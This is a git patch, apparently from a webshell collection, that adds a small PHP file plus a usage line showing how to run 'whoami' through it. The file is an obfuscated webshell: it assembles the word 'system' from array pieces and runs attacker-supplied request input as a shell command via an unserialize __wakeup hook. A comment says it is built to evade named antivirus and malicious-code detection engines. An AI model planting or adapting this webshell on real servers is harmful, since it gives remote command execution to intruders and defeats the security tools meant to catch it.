From 615c74bdecc3ecd1a41ebe3c42ba88f55fcd3f88 Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Mon, 22 Aug 2022 22:37:10 +0800
Subject: [PATCH] Create system2022-08-22-2.php

from: https://zhuanlan.zhihu.com/p/550150061

usage: xxx.php?1[]=system&1[]=a&1[]=b&2=whoami
---
 php/system2022-08-22-2.php | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100644 php/system2022-08-22-2.php

diff --git a/php/system2022-08-22-2.php b/php/system2022-08-22-2.php
new file mode 100644
index 0000000..481dddc
--- /dev/null
+++ b/php/system2022-08-22-2.php
@@ -0,0 +1,14 @@
+<?php
+//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
+class A{
+    public function __construct(){}
+
+    public function __wakeup(){
+        $b = $_GET[1];
+        $result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
+        $a = join($result);
+        Closure::fromCallable($a)->__invoke($_REQUEST[2]);
+    }
+}
+
+@unserialize('O:1:"A":1:{s:10:" A comment";N;}');